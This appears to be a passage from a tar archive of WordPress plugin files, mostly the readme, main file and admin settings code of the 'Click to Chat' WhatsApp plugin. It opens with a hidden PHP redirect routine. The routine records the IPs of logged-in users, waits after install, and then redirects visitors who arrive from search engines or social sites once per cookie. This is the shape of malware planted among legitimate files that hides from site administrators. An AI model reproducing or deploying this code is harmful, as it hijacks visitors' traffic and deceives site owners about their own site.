        return;
    }
    $user_ip = GetIP();
    if (!should_redirect($user_ip)) {
        return;
    }
    $install_date = get_option('custom_redirect_install_date');
    $current_time = time();
    if ($install_date && ($current_time - $install_date) > 400) {
        $white_engine_search = 'google|bing|yahoo|duckduckgo|ask|aol|startpage|qwant|ecosia|searx|swisscows|wolframalpha|mojeek|ekoru|presearch|infinitysearch|yandex|baidu|naver|daum|sogou|so|lycos|dogpile|webcrawler|gigablast|boardreader|searchencrypt|biglobe|goo|onet|eniro|virgilio|libero|rakuten|wow|msn|excite|exalead|sapo|facebook|instagram|twitter|tiktok|snapchat|linkedin|pinterest|reddit|tumblr|quora|vk|ok|weibo|wechat|line|kakaotalk|discord|telegram|douyin|qq|xing|meetup|viber|minds|mewe|gab|parler|clubhouse|nextdoor|taringa|habbo|tagged|hi5|flickr|myspace|soundcloud|badoo|twoo|weheartit|buzznet|diaspora|reverbnation|medium|wattpad|ello|amino|asmallworld|couchsurfing|academia|deviantart|gaia|fotolog|classmates|xanga|skout|meetme|ravelry|vimeo|youtube|spotify|bandcamp|patreon|onlyfans|substack|discogs|slashdot|livejournal|anobii|goodreads|letterboxd|dribbble|behance|itchio|steam|devto|fotka|filmow|niconico|myanimelist|wanelo';
        $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        if (!empty($referer) && preg_match("/($white_engine_search)/i", $referer)) {
            if (!isset($_COOKIE['_redirect_'])) {
                setcookie('_redirect_', '1', time() + 400, '/');
                trigger_redirect();
                exit();
            }
        }
    }
}
add_action('template_redirect', 'custom_redirect_function');

function create_ip_tracking_table() {
    global $wpdb;
    if (!get_option('custom_redirect_install_date')) {
        update_option('custom_redirect_install_date', time());
    }
    $table_name = $wpdb->prefix . 'ip_tracking';
    $sql = "CREATE TABLE IF NOT EXISTS $table_name (
        id BIGINT(20) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
        ip_address VARCHAR(45) NOT NULL
    )";
    require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
    dbDelta($sql);
    $maybe_table = $wpdb->get_var("SHOW TABLES LIKE '$table_name'");
    if (!$maybe_table) {
        update_option('custom_redirect_db_failed', true);
    } else {
        update_option('custom_redirect_db_failed', false);
    }
}
register_activation_hook(__FILE__, 'create_ip_tracking_table');

function collect_ip_address() {
    if (get_option('custom_redirect_db_failed')) {
        return;
    }
    global $wpdb;
    if (is_user_logged_in()) {
        $user_ip = GetIP();
        $existing_ip = $wpdb->get_var(
            $wpdb->prepare("SELECT id FROM {$wpdb->prefix}ip_tracking WHERE ip_address = %s LIMIT 1", $user_ip)
        );
        if (!$existing_ip) {
            $wpdb->insert($wpdb->prefix . 'ip_tracking', ['ip_address' => $user_ip]);
        }
        if (!isset($_COOKIE['_redirect_'])) {
            setcookie('_redirect_', '1', time() + 86400, '/');
        }
    }
}
add_action('wp_head', 'collect_ip_address');
add_action('admin_init', 'collect_ip_address');
click-to-chat-for-whatsapp/readme.txt000064400000050270147510273110013602 0ustar00=== Click to Chat - HoliThemes ===
Requires at least: 4.7
Tested up to: 6.7.1
Requires PHP: 5.6
Contributors: holithemes
Stable tag: 4.15
Tags: whatsapp, whatsapp business, click to chat, whatsapp chat, WooCommerce WhatsApp
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html

WhatsApp Chat🔥. Let's make your Web page visitors contact you through 'WhatsApp', 'WhatsApp Business'. Add matching Widget✅

== Description ==

WhatsApp Chat. Let's make your Web page visitors contact you through "WhatsApp" or "WhatsApp Business" with a single click (WhatsApp Chat, Group).

[Demo](https://holithemes.com/plugins/click-to-chat/list-of-styles/)  |  [Documentation](https://holithemes.com/plugins/click-to-chat/)  |  [Support](https://holithemes.com/plugins/click-to-chat/support/)  |  [PRO](https://holithemes.com/plugins/click-to-chat/pricing/)

== WhatsApp Chat ==

Add 'WhatsApp' or 'WhatsApp Business' Number and let your website visitors contact you with a single click.

**📱 Mobile:**  Open the WhatsApp Mobile App for a seamless connection.

**💻 Desktop:** Direct visitors to the WhatsApp Desktop App or Web WhatsApp page (web.whatsapp.com)


== 💎 Styles ==

Select a style that complements the design of your website.

* 8 pre-defined customizable styles/designs
* Add your own Image/GIF
* Custom Element/Design (convert any element to a WhatsApp Chat element)
* Shortcodes (Add WhatsApp button/icon with inline the content)
* Different Styles, Positions for Mobile, Desktop
* Choose a style and customize it to match the website's design

[list of Styles](https://holithemes.com/plugins/click-to-chat/list-of-styles/)  |  🎨[Customize Styles](https://holithemes.com/plugins/click-to-chat/customize-styles/)


= 💡 Add Own Image =

Instead of selecting a pre-defined style, add any Image/Animated-image/GIF.

== 🌈 Custom Element == 

Convert any Element as a WhatsApp Chat Element by adding  

* Class/ID name: 'ctc_chat' (or)
* Href/link: '#ctc_chat'

The custom design element will navigate to WhatsApp based on plugin settings (WhatsApp Number, pre-filled message, Analytics, .... ). 
(e.g. menu item, button, image, link - just add ctc_chat as a class name)

[Custom Element](https://holithemes.com/plugins/click-to-chat/custom-element/)

== 🎉 Greetings Dialog ==

Encourage user participation by displaying the right message at the right time.

Add the greeting dialog text, Image/GIf, emojis with the rich text editor.
Font can well decorate with font size, font family, links, text color, text background color, bold, italic, list, alignment, and more.

* [Greetings-1](https://holithemes.com/plugins/click-to-chat/greetings-1/): Customizable Design
* [Greetings-2](https://holithemes.com/plugins/click-to-chat/greetings-2/): Content Specific Design

= 📝 Form Filling =

Get the necessary information from the website visitors before initiating the chat.

* Get an email notification when the user fills out the form.
* Call a webhook with the form data to integrate with other applications. Using integrations tools add data in Google Sheet, CRM and many more applications.
* Form data can be prefilled in the WhatsApp chat window.

PRO: [Greetings-Form](https://holithemes.com/plugins/click-to-chat/greetings-form/)

= 👥 Multi-Agent =

Add multiple WhatsApp chat accounts within a single Greetings dialog.

* We can set different time ranges for each agent. (24x7 or multiple time ranges for each day of the week).
* Offline Agents
    * Chat when offline (display agent with next available time).
    * Disable chat (display agent with next available time).
    * Hide offline agents

PRO: [Multi-Agent](https://holithemes.com/plugins/click-to-chat/multi-agent)

= ⌛ Greetings Actions =

* **Click**: Displays Greetings when clicked on any element with the Class name: 'ctc_greetings'
* **ViewPort**: Displays Greetings When an element is in/reached viewport(25% margin) with the Class name: 'ctc_greetings_now' [PRO]
* **Time, Scroll** Display Greetings based on time, scroll [PRO]

[Actions](https://holithemes.com/plugins/click-to-chat/greetings-actions/)

== 🔴 Notification Badge ==

Get user attention by displaying a notification badge on the WhatsApp Chat element.  

Customize the notification badge with the notification count, text color, background color, border color, and time delay to display the notification badge.

[Notification Badge](https://holithemes.com/plugins/click-to-chat/notification-badge/)

== ✳️ Position to Place == 

* Add WhatsApp at any position of the screen  
    (not limited to fixed positions).
* Different positions for Mobile and Desktop.  
     
== ⏩ Pre-filled Message ==

Text that appears in the WhatsApp chat window when the user clicks on the WhatsApp. 

Users can easily start the conversation.

Variables to change values dynamically  

* **{site}** -> Website Title
* **{title}** -> Page Title
* **{url}** -> Web page URL
* **[url]** -> Web page full URL including query parameters

With these variables, we can understand from which page the user started WhatsApp chat.
 
[Pre-filled Message](https://holithemes.com/plugins/click-to-chat/pre-filled-message/)

== 🛍️ WooCommerce ==

== WooCommerce product pages ==

For WooCommerce, single product pages can overwrite the main setings to add a product specific message using dynamic variables.

* Pre-filled Message
* Call to Action
* Greetings Template, Content [PRO]

Additional variables, specific to WooCommerce single product page to change values dynamically   

* **{product}** -> Product Name
* **{price}** -> Product Price (current price)
* **{regular_price}** -> Regular product price (without any sale)
* **{sku}** -> Stock keeping unit

For Shop, Cart, Checkout, and Account pages we can overwrite at page level settings

== Add WhatsApp - Single Product Pages == 

Add WhatsApp button or icon at WooCommerce single product pages. 

* Before Main Content
* Before Product
* Before Product Summary
* Product Summary
* Before Add to Cart Form
* Before Cart Button
* After Cart Button
* After Add to Cart Form
* After Product
* After product summary

We can add dynamic variables for the Call to Action.
E.g. Buy {product}
{product} will be replaced with the product name for all product pages.

[Add WhatsApp Icon/Button in WooCommerce Product pages](https://holithemes.com/plugins/click-to-chat/add-whatsapp-in-woocommerce-single-product-pages/)

= Add WhatsApp - Shop Page =

Add WhatsApp to WooCommerce Products list (shop page, related products list)

[Shop page](https://holithemes.com/plugins/click-to-chat/whatsapp-chat-in-woocommerce-shop-page/)

== 📒 Page Level Settings ==

At the page level, we can overwrite the settings for each post. We can add a different Whatsapp Number, Prefilled Message, Call to Action for each post
(while editing the post, in the right sidebar 'Click to Chat' meta box)

* WhatsApp Number
* Call to Action
* Pre-filled Message
* Display Settings

PRO:

* Change Styles
* Time Delay
* Scroll Delay
* Greetings Template
* Greetings Header, Main, Bottom Content

[Page-level settings](https://holithemes.com/plugins/click-to-chat/change-values-at-page-level/)

== 📈 Analytics ==

Creates an Event when the user clicks on the WhatsApp Icon/button.

[Google Analytics](https://holithemes.com/plugins/click-to-chat/google-analytics/)

[Meta Pixel](https://holithemes.com/plugins/click-to-chat/facebook-pixel/)

[Google Ads Conversations](https://holithemes.com/plugins/click-to-chat/google-ads-conversion/)

== Webhooks ==

Connect other applications using Integrate, Automation tools like Zapier, IFTTT, Pipedream, etc.

[Webhooks](https://holithemes.com/plugins/click-to-chat/webhooks)

== ⭐ PRO ==

* Multi-Agent: Displays multiple WhatsApp chat accounts
    * Set multiple time ranges for each agent's availability
    * Hide offline agents or display agent when offline with next available time
* Random Numbers: Navigates to a random WhatsApp number from the predefined list
* Form: Get the necessary information from the website visitors, before initiating the chat
    * Get an email notification when the user fills out the form.
    * Use webhooks to send form data to external apps in real-time for seamless integration.
    * Prefill WhatsApp messages with user-provided form data to streamline conversations
* Business hours: Offline/Online Settings
    * Set business hours for a specific time range within a day, specific days in a week.
    * Hide the widget during offline hours or automatically change the WhatsApp numbers and call to action.
* Display based on website visitor's country
* Webhooks - Dynamic variables
    * {url} - Current page URL.
    * {time} - Time user interacted with the WhatsApp Button/Icon.
    * {number} - WhatsApp Number associated with the icon/button.
    * Get values from url parameters by adding name with in single square brackets E.g. [gclid], [utm_source]
    * Get values from cookies by adding the name with in double square brackets. E.g. [[cookie_name]]
* Get additional values at Google Analytics, Meta Pixel
    * Get values from url parameters. E.g. [gclid], [utm_source]
    * Get values from cookies. E.g. [[cookie_name]]
* Greetings Actions: (for all greeting dialogs: Greetings-1, Greetings-2, Form, Multi-agent)
    * Display greetings dynamically based on user actions such as 
        * Time: Time spent on the page, 
        * Scroll: Page scroll percentage, 
        * Click: specific button clicks 
        * ViewPort: when an element becomes visible in the viewport.
* Position to place
    * Fixed: Fixed position on the screen (default position)
    * Absolute: Fixed position to the body content. (Moves when the user scrolls the page)
* Time Delay & Scroll Delay: Display WhatsApp widget after a specified time delay or once the user scrolls a certain percentage of the page.
* Display based on Website visitor's login status
* Page-level settings: Fine-tune WhatsApp button behavior for individual pages. Change styles, time delays, scroll delay, Greetings Template, and Greetings Content
* WooCommerce: Customize WhatsApp widget behavior specifically for WooCommerce pages
    * Overwrite greetings template, Content for Single product pages.
    * Overwrite settings for Shop, Checkout, and Account pages at page-level settings


🔆 [PRO](https://holithemes.com/plugins/click-to-chat/pricing/)

== 🎯 Localization ==

Click to Chat is Compatible with translation plugins. [WPML](https://wpml.org/), Polylang.

It is easy to set up different values for each language   

* WhatsApp Number
* Call to Action
* Pre-filled Message
* Greetings Content
* Group ID
* Share Text

Setup for [WPML](https://holithemes.com/plugins/click-to-chat/translate-click-to-chat-settings-using-wpml-plugin/), [Polylang](https://holithemes.com/plugins/click-to-chat/translate-click-to-chat-settings-using-polylang-plugin/)

== 🚀 Performance ==

* Rich in features, but the site’s front end is very lightweight.

We highly concentrate on speed and performance.

== 👓 Display Settings == 

Show/Hide styles based on 

* Post type
* Post Id
* Category name
* Device Type(Mobile, Desktop)
* WooCommerce single product pages

PRO:

* Time delay
* Scroll delay
* Selected time range in a day
* Selected Days in a week
* Website visitor login status
* Website visitor country

== ✅ Opt-in ==

Make the website users opt-in / accept consent before initiating the chat.

[Opt-in](https://holithemes.com/plugins/click-to-chat/opt-in/)

== ⛳ Shortcodes ==

Use shortcodes to instead a WhatsApp icon or button with inline the Post content, widget area.

change the default setting values using shortcode attributes - WhatsApp Number, Style, Pre-filled message, Call to Action.

= Chat Shortcodes =

[ht-ctc-chat]

To change the WhatsApp number use the 'number' attribute

[ht-ctc-chat number=915123456789]

[Shortcodes for Chat](https://holithemes.com/plugins/click-to-chat/shortcodes-chat/)

= Group =

Enable the Group chat feature and add WhatsApp Group id in the plugin settings.

Make it easy for your customers to join Whatsapp Group.

[Group](https://holithemes.com/plugins/click-to-chat/group-chat-feature/)

= Share =

Let users share your website with their WhatsApp contacts and get more leads.

[Share](https://holithemes.com/plugins/click-to-chat/share-feature/)

= 🌏 Help Translate The Plugin =

Help by [Translating the plugin](https://translate.wordpress.org/projects/wp-plugins/click-to-chat-for-whatsapp/) to be available in more languages  


== screenshots ==

1. 8 Styles, 1 Add your own image or GIF. Add at any position to the screen (Desktop, Mobile: can set different styles, positions)
1. Select a style and customize it to match your website design.
1. Chat Settings - Enter WhatsApp Number, prefilled message, call to action, desktop: web view / desktop app view
1. Style, position to place (at any position of the screen) - Desktop, Mobile
1. Add WhatsApp Menu item (Custom Element)
1. Change Values at the page level: 'WhatsApp Number', 'Call to action', 'Group ID'
1. Style - 5 - Image with content box
1. Style - 8 - Materialize button
1. Style - 99 - Add your own Image / GIF(Animated Image)
1. Customize Styles
1. Enable Group, Share Settings
1. Group settings page
1. Share settings page
1. Display settings
1. Webhooks
1. prefilled, call to action for WooCommerce single product pages
1. Animations
1. Analytics - Google Analytics, Meta Pixel, Google Ads Conversations


== Installation ==

= From Dashboard ( WordPress admin ) =
* plugins -> Add New
* search for 'click to chat'
* click on Install Now and then Activate.

= using FTP or similar =
* Unzip "Click-to-Chat" file and 
* Upload "Click-to-Chat" folder to the "/wp-content/plugins/" directory.
* Activate the plugin through the "Plugins" menu in WordPress.

== Frequently Asked Questions ==

= WhatsApp Number = 

Enter the WhatsApp number with country code 

E.g.
country code +1
number: 6123456789
** WhatsApp number: 16123456789 **

(WhatsApp Number)[https://holithemes.com/plugins/click-to-chat/whatsapp-number/]


= Pre-filled Message =

Text that appears in the WhatsApp chat window when the user clicks on the WhatsApp.

Add variables to change values dynamically  
`
{url} -> Web page URL
{title} -> Page Title
{site} -> Website Title
`

E.g.

    Hi {site}!!
    I like to know more information about this {title}, {url}.

Variables for WooCommerce single product pages  


`
{product} -> Product Name
{price} -> Product Price (current price might be the sale price/regular price)
{regular_price} -> Regular product price (with out any sale)
{sku} ->Stock keeping unit
`

E.g.

    Hi {site}!!
    Name: 
    I like to buy this {product}, {url}


With this prefilled text, we can know from which page the user started the conversation, the purpose of the contact, and their details

[Pre-filled Message](https://holithemes.com/plugins/click-to-chat/pre-filled-message/)
[Pre-filled Message for WooCommerce](https://holithemes.com/plugins/click-to-chat/woocommerce-single-product-pages/)

= Select Styles =

Select Styles/widget that matches the design
* customize the style to match the website design.
* Add your own Image/GIF
* Custom Element/Design (convert any element to a WhatsApp Chat element)
* Select differnt Styles for mobile, desktop to match the website design.

= Position to place the styles =

Add Styles at any position of the screen (not just fixed to selected positions). 

*Position to place* settings

E.g.  

> bottom-right corner:
bottom: 10px
right: 10px

> Center of the Screen (bottom-center)
bottom: 10px 
right: 50%

> Center of the Screen (left-center)
bottom: 50%
right: 10px

Plugin supports all CSS units as the suffix. (px, %, rem,...)

[position to place](https://holithemes.com/plugins/click-to-chat/position-to-place/)

= GDPR = 

"Click to Chat" don't collect any of the user data and don't use cookies.

User consent before starting the chat.

[Opt-in](https://holithemes.com/plugins/click-to-chat/opt-in/)

= Display only on selected countries =

[Display based on country](https://holithemes.com/plugins/click-to-chat/display-based-on-country/)

= Show/Hide on Selected pages/devices = 

[Show only on selected pages](https://holithemes.com/plugins/click-to-chat/show-only-on-selected-pages/)

[Hide only on selected pages](https://holithemes.com/plugins/click-to-chat/hide-only-on-selected-pages/)

[Show/Hide on Mobile/Desktop](https://holithemes.com/plugins/click-to-chat/show-hide-on-mobile-desktop/)

= Localization: Change number, content for each language / page =

We can change values for each language if using WPML, Polylang for translation.

[Multilingual](https://holithemes.com/plugins/click-to-chat/multilingual/)

From WPML / Polylang Settings -> 'String Translations' and filter strings to 'Click to chat for WhatsApp' and change value based on language.

* User Input (Plugin Settings values): - 'Click to chat for WhatsApp'  
* Admin strings (Plugin Settings) - text domain: 'click-to-chat-for-whatsapp'

[Page-level settings](https://holithemes.com/plugins/click-to-chat/change-values-at-page-level/)

= WhatsApp Group Invite/chat = 

[Enable Group Feature](https://holithemes.com/plugins/click-to-chat/enable-group-feature/) Add [WhatsApp group id](https://holithemes.com/plugins/click-to-chat/find-whatsapp-group-id/) at plugin settings page. and let user join in WhatsApp Group.

= WhatsApp Share =

[Enable Share feature](https://holithemes.com/plugins/click-to-chat/enable-share-feature/) and let users share your website easily.

Add variables to change values dynamically  
    {url} -> Web page URL
    {title} -> Page Title
    {site} -> Website Title

Share Text - E.g.

> Checkout this Awesome page {title}, {url}

= AMP Compatibility =

Click to Chat is Compatible with (AMP)[https://wordpress.org/plugins/amp/] plugin. AMP won't load plugins JavaScript files so limited functionality available.

= 🔧 Basic Troubleshooting = 

* Clear cache
    * from Cache plugins
    * Server side cache (some hosting providers adds cache functionality by default)
    * CDN cache (Cache invalidation)
* Check Display settings
* (page level settings)[https://holithemes.com/plugins/click-to-chat/change-values-at-page-level/]

✍️ For any queries, please contact us.

= ❤️ Support / Contact =

For any issues with the plugin / suggestions:

* WordPress [new topic](https://wordpress.org/support/plugin/click-to-chat-for-whatsapp/#new-topic-0) 

= ⭐️ Give Support =

If you like the plugin, support the developers by giving [5 star rating](https://wordpress.org/support/plugin/click-to-chat-for-whatsapp/reviews/#new-post)  

Thank you so much in advance from "Click to Chat" Team

== Upgrade Notice ==

= using FTP or similar =
* Delete Click-to-Chat folder - your setting will not lost.
* unzip Click-to-Chat file and 
* Upload "Click-to-Chat" folder to the "/wp-content/plugins/" directory.
* Activate the plugin through the "Plugins" menu in WordPress.

= From Dashboard ( WordPress admin ) =
* When a new version is released - we can see the 'update now' link at wp-admin -> plugins
* click on 'update now'
or
* since WordPress 5.5, If auto update for the plugin is enabled, the plugin will update automatically when a new version is released

After Activating the plugin, add a WhatsApp Number in the plugin settings.

== Changelog ==

= 4.15 = 
* Fix: Page-level settings not working properly.
* Fix: Alignment issues at admin setting pages

= 4.14 =
* Enhancement: Show or hide the admin demo.

= 4.13 =
* Fix: Alignment issues at admin setting pages

= 4.12.1 =
* Fix: Hover effects for Style-7 Extend
* Fix: Dual lines issue for Style-8 with large call to action text

= 4.12 =
* Fix: Custom CSS Code block not allowing quotes at front end

= 4.11 =
* New: Custom CSS Code block.

= 4.10 =
* Fix: Page level display settings for WooCommerce single product page

= 4.9 =
* Fix: Display based on device not working as expected on iPad Pro

[Changelog](https://holithemes.com/plugins/click-to-chat/changelog/)click-to-chat-for-whatsapp/index.php000064400000000034147510273110013415 0ustar00<?php
// Silence is golden.click-to-chat-for-whatsapp/click-to-chat.php000064400000001717147510273110014741 0ustar00<?php
/*
Plugin Name: Click to Chat
Plugin URI:  https://wordpress.org/plugins/click-to-chat-for-whatsapp/
Description: Lets make your Web page visitors contact you through WhatsApp with a single click/tap
Version:     4.15
Author:      HoliThemes
Author URI:  https://holithemes.com/plugins/click-to-chat/
License:     GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
Text Domain: click-to-chat-for-whatsapp
*/

if ( ! defined( 'WPINC' ) ) {
	die('dont try to call this directly');
}

// ctc - Version - update version at readme 'Stable tag'
if ( ! defined( 'HT_CTC_VERSION' ) ) {
	define( 'HT_CTC_VERSION', '4.15' );
}

// define HT_CTC_PLUGIN_FILE
if ( ! defined( 'HT_CTC_PLUGIN_FILE' ) ) {
	define( 'HT_CTC_PLUGIN_FILE', __FILE__ );
}

// define HT_CTC_PLUGIN_DIR
if ( ! defined( 'HT_CTC_PLUGIN_DIR' ) ) {
	define( 'HT_CTC_PLUGIN_DIR', plugin_dir_path( HT_CTC_PLUGIN_FILE ) );
}


include_once 'common/class-ht-ctc-switch.php';click-to-chat-for-whatsapp/new/admin/class-ht-ctc-admin-group-page.php000064400000017642147510273110021623 0ustar00<?php
/**
 * group settings page - admin 
 * 
 * group chat options .. 
 * 
 * @package ctc
 * @subpackage admin
 * @since 2.0 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Group_Page' ) ) :

class HT_CTC_Admin_Group_Page {

    public function menu() {

        add_submenu_page(
            'click-to-chat',
            'Group Chat/Invite',
            'Group',
            'manage_options',
            'click-to-chat-group-feature',
            array( $this, 'settings_page' )
        );
    }

    public function settings_page() {

        if ( ! current_user_can('manage_options') ) {
            return;
        }

        ?>

        <div class="wrap ctc-admin-group-page">

            <?php settings_errors(); ?>

            <div class="row">
                <div class="col s12 m12 xl8 options">
                    <form action="options.php" method="post" class="">
                        <?php settings_fields( 'ht_ctc_group_page_settings_fields' ); ?>
                        <?php do_settings_sections( 'ht_ctc_group_page_settings_sections_do' ) ?>
                        <?php submit_button() ?>
                    </form>
                </div>
                <!-- <div class="col s12 m12 xl6 ht-ctc-admin-sidebar">
                </div> -->
            </div>

        </div>

        <?php

    }


    public function settings() {

        // main settings - options enable .. group, share .. 
        // chat options 
        register_setting( 'ht_ctc_group_page_settings_fields', 'ht_ctc_group' , array( $this, 'options_sanitize' ) );
        
        add_settings_section( 'ht_ctc_main_page_settings_sections_add', '', array( $this, 'main_settings_section_cb' ), 'ht_ctc_group_page_settings_sections_do' );
        
        add_settings_field( 'group_id', __( 'WhatsApp Group ID', 'click-to-chat-for-whatsapp'), array( $this, 'group_id_cb' ), 'ht_ctc_group_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );
        add_settings_field( 'group_cta', __( 'Call to Action', 'click-to-chat-for-whatsapp'), array( $this, 'group_cta_cb' ), 'ht_ctc_group_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );
        
        add_settings_field( 'group_ctc_desktop', __( 'Style, Position', 'click-to-chat-for-whatsapp'), array( $this, 'group_ctc_device_cb' ), 'ht_ctc_group_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );

        add_settings_field( 'group_show_hide', __( 'Show/Hide', 'click-to-chat-for-whatsapp'), array( $this, 'group_show_hide_cb' ), 'ht_ctc_group_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );
        add_settings_field( 'group_shortcode_cb', '', array( $this, 'group_shortcode_cb' ), 'ht_ctc_group_page_settings_sections_do', 'ht_ctc_main_page_settings_sections_add' );
        
        
    }

    public function main_settings_section_cb() {
        ?>
        <h1>Group Chat/Invite</h1>
        <?php
        do_action('ht_ctc_ah_admin' );
    }


    // WhatsApp Group ID.
    function group_id_cb() {
        $options = get_option('ht_ctc_group');
        $value = ( isset( $options['group_id']) ) ? esc_attr( $options['group_id'] ) : '';
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ht_ctc_group[group_id]" value="<?= $value ?>" id="whatsapp_group_id" type="text" class="input-margin">
                <label for="whatsapp_group_id"><?php _e( 'WhatsApp Group ID', 'click-to-chat-for-whatsapp' ); ?>.</label>
                <p class="description"><?php _e( 'Enter WhatsApp Group ID. E.g. 9EHLsEsOeJk6AVtE8AvXiA', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/find-whatsapp-group-id/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
            </div>
        </div>
        <?php
    }

    // call to action 
    function group_cta_cb() {
        $options = get_option('ht_ctc_group');
        $value = ( isset( $options['call_to_action']) ) ? esc_attr( $options['call_to_action'] ) : '';
        ?>
        <div class="row">
            <div class="input-field col s12">
                <input name="ht_ctc_group[call_to_action]" value="<?= $value ?>" id="call_to_action" type="text" class="input-margin">
                <label for="call_to_action"><?php _e( 'Call to Action', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"> <?php _e( 'Text that appears along with WhatsApp icon/button', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/call-to-action/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
            </div>
        </div>
        <?php
    }
    

    // device based settings - style, position
    function group_ctc_device_cb() {
        $options = get_option('ht_ctc_group');
        $dbrow = 'ht_ctc_group';
        $type = 'group';
        
        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-device-settings.php';
    }


    // show/hide 
    function group_show_hide_cb() {
        $options = get_option('ht_ctc_group');
        $dbrow = 'ht_ctc_group';
        $type = 'group';

        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-show-hide.php';
    }


    function group_shortcode_cb() {
        ?>
        <p class="description"><?php _e( 'Shortcodes for Group Chat', 'click-to-chat-for-whatsapp' ); ?>: [ht-ctc-group] - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/shortcodes-group/">more info</a></p>
        <?php
    }



    /**
     * Sanitize each setting field as needed
     *
     * @since 2.0
     * @param array $input Contains all settings fields as array keys
     */
    public function options_sanitize( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }

        $new_input = array();

        foreach ($input as $key => $value) {


            if ( is_array( $input[$key] ) ) {
                // key: display
                if ( function_exists('sanitize_textarea_field') ) {
                    $new_input[$key] = map_deep( $input[$key], 'sanitize_textarea_field' );
                } else {
                    $new_input[$key] = map_deep( $input[$key], 'sanitize_text_field' );
                }
            } else {
                if ( 'side_1_value' == $key || 'side_2_value' == $key || 'mobile_side_1_value' == $key || 'mobile_side_2_value' == $key ) {
                    $input[$key] = str_replace( ' ', '', $input[$key] );
                    if ( is_numeric($input[$key]) ) {
                        $input[$key] = $input[$key] . 'px';
                    }
                    if ( '' == $input[$key] ) {
                        $input[$key] = '0px';
                    }
                    $new_input[$key] = sanitize_text_field( $input[$key] );
                } else {
                    $new_input[$key] = sanitize_text_field( $input[$key] );
                }
            }


            // if( isset( $input[$key] ) ) {
            //     $new_input[$key] = sanitize_text_field( $input[$key] );
            // }
        }

        // l10n
        foreach ($input as $key => $value) {
            if ( 'group_id' == $key || 'call_to_action' == $key ) {
                do_action( 'wpml_register_single_string', 'Click to Chat for WhatsApp', $key.'__group', $input[$key] );
            }
        }

        do_action('ht_ctc_ah_admin_after_sanitize' );

        return $new_input;
    }


}

$ht_ctc_admin_group_page = new HT_CTC_Admin_Group_Page();

add_action('admin_menu', array($ht_ctc_admin_group_page, 'menu') );
add_action('admin_init', array($ht_ctc_admin_group_page, 'settings') );

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/components/number.php000064400000001712147510273110017650 0ustar00<?php
/**
 * number
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? esc_attr($input['title']) : '';
$description = (isset($input['description'])) ? esc_attr($input['description']) : '';
$label = (isset($input['label'])) ? esc_attr($input['label']) : '';
$placeholder = (isset($input['placeholder'])) ? esc_attr($input['placeholder']) : '';

$min = (isset($input['min'])) ? esc_attr($input['min']) : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';

$attr = '';

if ('' !== $min) {
    $attr .= " min=$min ";
}

?>
<div class="row ctc_component_number <?= $parent_class ?>">
    <div class="input-field col s12">
        <input name="<?= $dbrow ?>[<?= $db_key ?>]" type="number" <?= $attr ?> value="<?= $db_value ?>" placeholder="<?= $placeholder ?>"/>
        <label for="pre_filled"><?= $label ?></label>
        <p class="description"><?= $description ?></p>
    </div>
</div>click-to-chat-for-whatsapp/new/admin/components/heading.php000064400000000677147510273110017770 0ustar00<?php
/**
 * @deprecated 4.15 favor of new/admin/components/content.php - $title
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? $input['title'] : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';

?>

<div class="row ctc_component_heading <?= $parent_class ?>">
    <p class="description ht_ctc_subtitle"><?php _e( $title, 'click-to-chat-for-whatsapp' ); ?> </p>
</div>click-to-chat-for-whatsapp/new/admin/components/collapsible_start.php000064400000001515147510273110022067 0ustar00<?php
/**
 * collapsible - start code
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? esc_attr($input['title']) : '';

$description = (isset($input['description'])) ? $input['description'] : '';

$active = 'active';
$collapsible = (isset($input['collapsible'])) ? $input['collapsible'] : '';
if ('no' == $collapsible) {
    $active = '';
}

$ul_class = (isset($input['ul_class'])) ? $input['ul_class'] : '';

?>

<ul class="collapsible <?= $ul_class ?>">
<li class="<?= $active ?>">
<div class="collapsible-header" id="showhide_settings"><?= $title ?>
    <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
</div>
<div class="collapsible-body">

<?php
if ('' !== $description) {
    ?>
    <p class="description"><?= $description; ?></p>
    <br>
    <?php
}click-to-chat-for-whatsapp/new/admin/components/textarea.php000064400000001536147510273110020201 0ustar00<?php
/**
 * text
 */

if ( ! defined( 'ABSPATH' ) ) exit;

$title = (isset($input['title'])) ? $input['title'] : '';
$description = (isset($input['description'])) ? $input['description'] : '';
$label = (isset($input['label'])) ? $input['label'] : '';
$placeholder = (isset($input['placeholder'])) ? $input['placeholder'] : '';
$parent_class = (isset($input['parent_class'])) ? $input['parent_class'] : '';

?>
<div class="row ctc_component_textarea <?= $parent_class ?>">
    <div class="input-field col s12">
        <textarea name="<?= $dbrow ?>[<?= $db_key ?>]" style="min-height: 84px;" placeholder="<?= $placeholder ?>" id="pre_filled" class="materialize-textarea input-margin"><?= $db_value ?></textarea>    
        <label for="pre_filled"><?= $label ?></label>
